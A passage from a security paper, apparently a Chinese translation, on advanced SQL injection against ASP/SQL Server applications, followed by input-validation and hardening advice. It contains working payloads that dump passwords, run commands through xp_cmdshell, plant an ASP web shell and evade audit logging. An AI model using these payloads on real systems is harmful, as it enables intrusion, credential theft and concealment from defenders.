Sql Server 應(yīng)用程序的高級Sql注入
更新時間:2009年01月05日 12:28:44 作者:
這篇文章討論常用的"sql注入"技術(shù)的細節(jié),應(yīng)用于流行的Ms IIS/ASP/SQL-Server平臺。這里探討有關(guān)這種攻擊各種可以注入程序訪問數(shù)據(jù)和數(shù)據(jù)庫防范的方法。
攻擊者用這個'username'登陸(明顯都在同一行)
Username: ';begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--
這創(chuàng)建了一個只包含單列'ret'的表'foo',而且把我們的字符串放在里面。通常一個低權(quán)限的用戶可以在示例數(shù)據(jù)庫里創(chuàng)建表,或者一個臨時表。
之后攻擊者選擇查詢表里的字符串,就像前面說的:
Username: ' union select ret,1,1,1 from foo--
Username: ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesame' to a column of data type int.
/process_login.asp, line 35
然后刪除這個表:
Username: '; drop table foo--
這些例子僅僅揭開了這項技術(shù)的神秘面紗,不用說,如果攻擊者可以從數(shù)據(jù)庫獲得豐富的錯誤信息,他們的工作將大大的簡化。
[更深入的訪問]
一旦攻擊者可以控制數(shù)據(jù)庫,他們可能想通過這些權(quán)限來獲得對網(wǎng)絡(luò)更多的控制,可以通過很多方法來達到這一目的:
1.利用xp_cmdshell擴展存儲以SQL-Server用戶的身份在數(shù)據(jù)庫服務(wù)器上執(zhí)行命令
2.利用xp_regread擴展存儲讀取注冊表的鍵值,也包括SAM(只要SQL-Server是以一個本地帳號運行的)
3.用其他的擴展存儲改變服務(wù)器設(shè)置
4.在聯(lián)合服務(wù)器上執(zhí)行查詢
5.創(chuàng)建客戶擴展存儲從而在SQL-Server進程內(nèi)運行exploit
6.用'bulk insert'語句去讀服務(wù)器上任何文件
7.用bcp在服務(wù)器上創(chuàng)建任何文本文件
8.用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統(tǒng)存儲過程來創(chuàng)建ActiveX對象來完成asp腳本可以做的任何事情
這些只是常見的攻擊方法的一部分;攻擊者也很可能通過其他方法來達到目的,我們列舉這些SQL-Server相關(guān)的攻擊方法是為了說明如果程序可以被注入SQL語句時可能會發(fā)生什么,我們將依次給出以上各種情況的對策。
[xp_cmdshell]
擴展存儲的本質(zhì)是編譯了的動態(tài)鏈接庫(DLLs),它用SQL-Server指定的調(diào)用方式去運行接口函數(shù)。他們允許SQL-Server程序擁有了和c/c++一樣的功能,是個非常有用的特性。SQL-Server內(nèi)置了大量的擴展存儲,而且有各種各樣的函數(shù)比如發(fā)送郵件和更改注冊表。
xp_cmdshell是一個內(nèi)置的擴展存儲,它允許執(zhí)行任意的命令行程序。例如:
exec master..xp_cmdshell 'dir'
將會獲得一個SQL-Server進程所在工作目錄的列表
exec master..xp_cmdshell 'net1 user'
將提供主機用戶的列表。如果SQL Server正常的以本地'system'帳號或者'domain user'帳號運行,攻擊者可以造成更嚴重破壞。
[xp_regread]
另外一個有用的內(nèi)置的擴展存儲是xp_regXXX函數(shù)
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
其中一些函數(shù)的用法的舉例:
exec xp_regread HKEY_LOCAL_MACHINE
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
(它決定服務(wù)器的空連接式共享是否可用)
exec xp_regenumvalues HKEY_LOCAL_MACHINE
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
(它顯示所有的服務(wù)器上SNMP公共的設(shè)置,通過這個信息,攻擊者可以在相同的網(wǎng)絡(luò)區(qū)域里重新配置網(wǎng)絡(luò)設(shè)置,因為SNMP共有設(shè)置很少被改變而且由很多主機共享)
可以想象攻擊者怎樣利用這些函數(shù)來讀取SAM文件,改變系統(tǒng)設(shè)置在重新啟動后就被服務(wù)的應(yīng)用,或者在用戶下一次登陸時運行任意命令。
[其他擴展存儲]
xp_servicecontrol擴展存儲允許用戶啟動,停止,暫?;蛘哌\行服務(wù)。
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
下面是一些其他有用的擴展存儲表:
xp_availablemedia 顯示機器上可用的驅(qū)動器
xp_dirtree 獲得一個目錄樹
xp_enumdsn 列舉服務(wù)器上的ODBC數(shù)據(jù)源
xp_loginconfig 顯示服務(wù)器的安全狀態(tài)信息
xp_makecab 允許用戶在服務(wù)器上創(chuàng)建壓縮文件(或者任何服務(wù)器可以訪問的文件)
xp_ntsec_enumdomains 列舉服務(wù)器可以訪問的域
xp_terminate_process 結(jié)束一個給定PID進程
[聯(lián)合服務(wù)器]
SQL-Server提供了一個服務(wù)器聯(lián)合的機制,就是允許一個數(shù)據(jù)庫服務(wù)器上的查詢操作其他服務(wù)器的數(shù)據(jù)。這些聯(lián)合設(shè)置存放在master..sysservers表里,如果一個相連的服務(wù)器使用了'sp_addlinkedsrvlogin'存儲過程,一個自動的登陸了的連接已經(jīng)存在,可以通過它不登陸而訪問該服務(wù)器。'openquery'函數(shù)允許查詢在聯(lián)合服務(wù)器上執(zhí)行。
[用戶自定義擴展存儲]
擴展存儲的API是相當簡單的,創(chuàng)建一個帶有惡意代碼的擴展存儲DLL也是相當容易的。通過命令行有很多方法將DLL上傳到服務(wù)器,還有其他的很多方法包括各種通信機制來自動實現(xiàn),比如HTTP下載和FTP腳本。
一旦DLL文件出現(xiàn)在服務(wù)器上SQL-Server可以訪問,這不一定需要SQL-server本身,攻擊者可以通過下面添加擴展存儲(這里,我們的惡意擴展存儲是個用來操作服務(wù)器的文件系統(tǒng)小的木馬)
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
擴展存儲就可以通過一般的方法調(diào)用:
exec xp_webserver
一旦這個擴展存儲執(zhí)行過,可以這樣刪除它:
sp_dropextendedproc 'xp_webserver'
[向表中導(dǎo)入文本文件]
利用'bulk insert'語句,可以把一個文本文件的內(nèi)容插入進一張臨時表,我們簡單的創(chuàng)建一個表:
create table foo( line varchar(8000) )
然后執(zhí)行bulk insert來插入數(shù)據(jù)來自于一個文件:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
通過上面介紹過的錯誤信息技巧就可以得到數(shù)據(jù),或者通過一個'union'查詢,把文本數(shù)據(jù)作為查詢的數(shù)據(jù)返回。這對于獲得存儲在數(shù)據(jù)庫里的腳本如asp腳本很有用。
[利用BCP創(chuàng)建文本文件]
利用和'bulk insert'作用相反的技術(shù)創(chuàng)建任意的文本文件非常簡單。不過需要一個命令行工具'bcp'('bulk copy program'),因為bcp在SQL-Server進程外訪問數(shù)據(jù)庫,它需要一次登陸。但是這不難,因為攻擊者都可以創(chuàng)建一個;或者如果服務(wù)器配置使用了“完整性”安全模式,攻擊者可以利用它。
命令行格式如下:
bcp "Select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
'S'參數(shù)是要運行查詢的服務(wù)器,'U'參數(shù)是用戶名,'P'是密碼,這里的密碼是'foobar'。
[SQL-Server 里的ActiveX自動腳本]
SQL-Server提供了一些內(nèi)置的擴展存儲,允許在SQL-Server內(nèi)創(chuàng)建ActiveX自動腳本。這些腳本在功能上和windows scripting host上運行的腳本或者asp腳本(通常用Javascript或者Vbscript編寫)一樣,腳本創(chuàng)建自動對象并且通過他們產(chǎn)生作用。一個用Transact-SQL寫的自動腳本可以做任何asp腳本或者WSH腳本能做的事。
下面提供一些例子來說明:
1)這個例子用'wscript.shell'對象創(chuàng)建一個notepad的實例(當然這里也可以是任何命令行命令)
-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
在我們的例子里可以使用這樣的用戶名(都在一行):
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
2)這個例子用'scripting.filesystemobject'對象去讀已知的文本文件:
-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
3)下面的例子創(chuàng)建一個asp腳本執(zhí)行任意命令:
-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, '<% set o = server.createobject("wscript.shell"): o.run(request.querystring("cmd") )%>'
需要注意的很重要的一點是Windows NT4,IIS4平臺asp腳本將會以'system'的帳號運行,而在IIS5他們會以低權(quán)限的IWAM_xxx帳號運行。
4)這個例子(稍帶欺騙性)說明這項技術(shù)的靈活性,它用'speech.voicetext'(譯者注:參考ms-help://MS.VSCC/MS.MSDNVS.2052/dnwui/html/msdn_texttosp.htm)對象,使SQL Server說話:
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'
這當然也可以在我們的例子里使用,通過指定下面的'username'(注意例子不只是注入一段腳本,同時也以'admin'的身份登陸了程序)
用戶名: admin';declare @o int, @ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o, 'register', NULL, 'foo','bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'-
[存儲過程]
傳統(tǒng)的認識是如果ASP程序使用了數(shù)據(jù)庫系統(tǒng)的存儲過程,那么就不可能SQL注入了。這句話不完全對,這依賴于ASP腳本調(diào)用存儲過程的方式。
本質(zhì)上,一個帶參數(shù)的查詢執(zhí)行了,用戶提供的參數(shù)就被安全的傳給查詢,SQL注入就不可能了。但是,如果攻擊者可以對無數(shù)據(jù)部分的查詢語句施加任何影響,他們?nèi)匀豢赡芸刂茢?shù)據(jù)庫。
一個有用的規(guī)則是:
1. 如果ASP腳本創(chuàng)建了一個提交給服務(wù)器的SQL查詢語句,這是很容易被SQL注入的,即使它使用了存儲過程。
2. 如果ASP腳本使用了封裝傳遞參數(shù)給存儲過程的過程對象(如ADO command對象,和參數(shù)集合一起使用的)那么它通常就很安全了,但是這還要取決于對象的執(zhí)行。
明顯的,最好習慣于驗證所有的用戶輸入,因為新的攻擊技術(shù)會不停的涌現(xiàn)。
為了說明存儲過程查詢的注入,運行下面的SQL語句:
sp_who '1' select * from sysobjects
或者
sp_who '1' select * from sysobjects
任何附加語句在存儲過程執(zhí)行后還是可以執(zhí)行。
[高級Sql注入]
一個應(yīng)用程序通常過濾單引號,另一方面限制用戶的輸入,比如限制長度。
在這里,我們將討論一些繞過一些明顯的SQL注入防范的和長度限制的技巧。
[沒有符號的字符串]
有時候,開發(fā)人員可能已經(jīng)通過過濾單引號來保護應(yīng)用程序,比如用VBScript的'replace'函數(shù):
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
不可否認,這會阻止所有的對我們上面給出的對示例站點的攻擊,刪除';'字符也會起作用。但是,在一個大的程序里一些用戶輸入可能被假定為數(shù)值型。這些值沒有限制,提供了很多可以注入的地方。
如果攻擊者希望創(chuàng)建一個字符串值而不使用引號,他們可以用'char'函數(shù)。例如:
insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)
它是一個往表里插入字符的不帶引號的查詢語句。
當然,如果攻擊者使用一個數(shù)值型的用戶名和密碼的話,下面的語句也同樣可以很好的執(zhí)行:
insert into users values( 667,
123,
123,
0xffff)
因為SQL-Server自動將數(shù)值型的轉(zhuǎn)換成'varchar'類型,類型轉(zhuǎn)換是默認的。
[SQL二次注入]
即使一個程序總是過濾單引號,攻擊者仍然可以先注入SQL作為數(shù)據(jù)存放在數(shù)據(jù)庫里然后被程序再次使用。
比如,一個攻擊者可能通過注冊,創(chuàng)建一個用戶名
Username: admin'--
Password: password
程序正確的過濾了單引號,'insert'語句如下:
insert into users values ( 123, 'admin''--', 'password', 0xffff)
我們假設(shè)程序允許用戶更改密碼,ASP腳本在設(shè)置新的密碼前先確認用戶舊密碼正確。代碼可能這樣寫:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{
…
設(shè)置新密碼的查詢語句可能這樣寫的:
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
rso("username")是登陸的查詢返回的的用戶名。
用戶名為admin'--,上面的查詢就變成了這樣:
update users set password = 'password' where username = 'admin'--'
因此攻擊者可以通過注冊了一個名叫admin'--的用戶來把admin的密碼改成他們自己的。
這是個危險的問題,目前大部分的大型程序都試圖過濾數(shù)據(jù)。最好的解決方法是拒絕非法輸入,而不是簡單的改變它。這有時候會導(dǎo)致一些問題,非法字符在某些地方是必要的,比如在名字帶符號的情況:
O'Brien
從安全的角度,最好的解決辦法是不允許出現(xiàn)單引號。如果這樣不行,必須避免它們出現(xiàn),這種情況下,最好保證所有要進入SQL語句的字符(包括從數(shù)據(jù)庫里取出的字符)都被正確的處理過。
即使這樣攻擊依然可能實現(xiàn):如果攻擊者可以不經(jīng)過程序而往系統(tǒng)插入數(shù)據(jù)。比如攻擊者有一個email接口,或者有一個可以控制的錯誤記錄數(shù)據(jù)庫。最好總是驗證所有的數(shù)據(jù),包括系統(tǒng)里的數(shù)據(jù),驗證函數(shù)調(diào)用很簡單,比如:
if ( not isValied( "email", request.querystring("emil") ) ) then
response.end
或者其他的方法
[長度限制]
有時候輸入對數(shù)據(jù)的長度加以限制會使攻擊困難許多,這的確阻止了一些攻擊,但一個很短的SQL語句也可能造成非常大的危害:
Username: ';shutdown--
關(guān)閉SQL-Server,只用了12個字符。另一個例子:
drop table <tablename>
如果長度限制是在字符串過濾后,另一個問題可能會發(fā)生。假設(shè)用戶名被限制在16個字符之內(nèi),密碼也被限制在16個字符之內(nèi),下面的用戶名和密碼結(jié)合可以執(zhí)行'shutdown'命令:
Username:aaaaaaaaaaaaaaa'
Password:'; shutdown--
原因是程序過濾用戶名最后的單引號,但是字符串又被切回到16個字符,刪除了過濾的單引號。結(jié)果是密碼域可以包含一些SQL, 只要它以一個單引號開始,最后的查詢會變成這樣:
select * from users where username = 'aaaaaaaaaaaaaa'' and password=''';shutdown--
用戶名在查詢里就變成:
aaaaaaaaaaaaaaa' and password='
后面附上的SQL被執(zhí)行。
[躲避審核]
SQL Server在sp_traceXXX系列的函數(shù)包含豐富審核接口,它可以記錄任何數(shù)據(jù)庫里的事件。這里我們特別感興趣的是T-SQL事件,它記錄了所有的SQL語句以及服務(wù)器上準備好的和已運行了的批處理。如果這個級別的審核開啟的話,所有我們討論的注入都將被記錄下來有經(jīng)驗的數(shù)據(jù)庫管理員將會看到所有發(fā)生的事情。但是如果攻擊者附加下面的字符:
sp_password
到一個Transact-SQL語句,這個審核記錄如下:
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
這在所有的的T-SQL日志記錄時都會發(fā)生,即使'sp_password'出現(xiàn)在注釋中。這當然是在用戶傳遞sp_password時有意隱藏用戶的明文密碼,但這對攻擊者相當有用。
所以,為了隱藏所有的注入攻擊者只需要在注釋符'--'后面加一個字符串:
Username: admin'--sp_password
事實上一些執(zhí)行了的SQL將被記錄,但是查詢字符串本身被強制不記錄。
[防 范]
這部分討論一些針對這些攻擊的防范措施。輸入驗證已經(jīng)討論過了,一些代碼也給出了,后面我們研究SQL-Server防范問題。
[輸入驗證]
輸入驗證是一個很復(fù)雜的問題。一般在一個開發(fā)項目中它很少被注意,因為過度的驗證往往使一個程序的某部分被打斷,所以輸入驗證是個難題。輸入驗證往往不加到程序的功能里,因而在工期將至而趕程序時不會被人注意。
下面是關(guān)于驗證的簡單的討論附示例代碼,這個示例代碼當然不能直接用在程序里,但可以很好的說明不同的策略。
各種數(shù)據(jù)驗證的途徑可以分類為以下幾種:
1)整理數(shù)據(jù)使之變得有效
2)拒絕已知的非法輸入
3)只接受已知的合法的輸入
方法1有很多概念上的問題;首先,開發(fā)者沒有必要知道非法數(shù)據(jù)由什么組成,因為新形式的非法數(shù)據(jù)隨時都可能產(chǎn)生。第二,改變數(shù)據(jù)會改變它的長度,這樣會導(dǎo)致前面提到的問題。最后,還有需要對系統(tǒng)已有數(shù)據(jù)的重用的話有二次注入的問題.
解決方案2也會遇到和1的一些相似的問題,了解非法數(shù)據(jù)會過時,因為新的攻擊技術(shù)也在發(fā)展。
解決方案3可能是三種方法中最好的,但是比較難于執(zhí)行。
從安全角度來考慮可能最好多解決方法是把解決方案2和3結(jié)合起來只允許合法的輸入,然后再尋找非法字符。
一個必須結(jié)合這兩種途徑的例子是帶有連字符的名字的問題:
Question Bassington-Bassington
我們必須在合法輸入里允許連字符號,但是也要明白字符串'--'在SQL-Server里意味著什么。
當數(shù)據(jù)整理結(jié)合了非法字符驗證時另一個問題就會發(fā)生。假設(shè)我們應(yīng)用“非法字符探測器”來探測'--','select'和'union'”后使用“數(shù)據(jù)整理過濾器”刪除單引號,攻擊者就可以指定這樣的輸入:
uni'on sel'ect @@version-'-
因為單引號被過濾器刪除了,攻擊者可以把單引號散布于它的已知的非法字符串里來躲避檢查。
下面是一些驗證的代碼:
方法1-躲避單引號
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
方法2-抵制已知的非法輸入
function validate_string( input )
know_bad = array( "select", "insert", "update", "delete", "drop", "--", "'")
validate_string = true
for i = lbound( know_bad ) to ubound( known_bad )
if( instr( 1, input, known_bad(i), vbtextcompare) <> 0 )
validate_string = false
exit function
end if
next
end function
方法3-只允許合法輸入
function validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( instr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
[SQL Server 防御]
最重要的一點是必須防范SQLServer,'out of the box'并不安全。這里有一個當創(chuàng)建SQL-Server構(gòu)架要做的事情的簡明清單:
1.決定連接到服務(wù)器的方法
a.使用'Network utility'檢驗?zāi)闶褂玫木W(wǎng)絡(luò)庫是可用的
2.檢查哪些帳號存在
a.為程序創(chuàng)建低權(quán)限帳號
b.刪除不需要的帳號
c.確保所有的帳號都有一個健壯的密碼;在一個正常運行一個密碼審計腳本(比如附錄里提供了一個)。
3.檢查哪些對象存在
a.許多擴展存儲可以安全的刪除,如果這些已經(jīng)做了考慮刪除一些包含擴展存儲的dll
b.刪除所有的數(shù)據(jù)庫實例-比如'northwind'和'pubs'數(shù)據(jù)庫
4.檢查哪些帳號可以訪問對象
a.應(yīng)用程序用戶所使用的訪問數(shù)據(jù)庫的帳號應(yīng)該只擁有對所需要的對象的最小訪問權(quán)限
5.檢查服務(wù)器的補丁狀況
a.有一些針對SQL-Server的緩沖區(qū)溢出[3],[4]和格式字符串[5]攻擊(大部分是作者自己發(fā)現(xiàn)的)和一些其他的安全補丁,可能還有更多的漏洞存在
6.檢驗日志記錄些什么,和日志可以做些什么
一個優(yōu)秀的防范清單已經(jīng)在www.sqlsecurity.com提供了(參考文獻[2])。
相關(guān)文章
經(jīng)過測試,看來Administrastor,賬戶真的不安全
經(jīng)過測試,看來Administrastor,賬戶真的不安全...2007-01-01淺析國內(nèi)某網(wǎng)絡(luò)游戲的安全現(xiàn)況
淺析國內(nèi)某網(wǎng)絡(luò)游戲的安全現(xiàn)況2007-01-01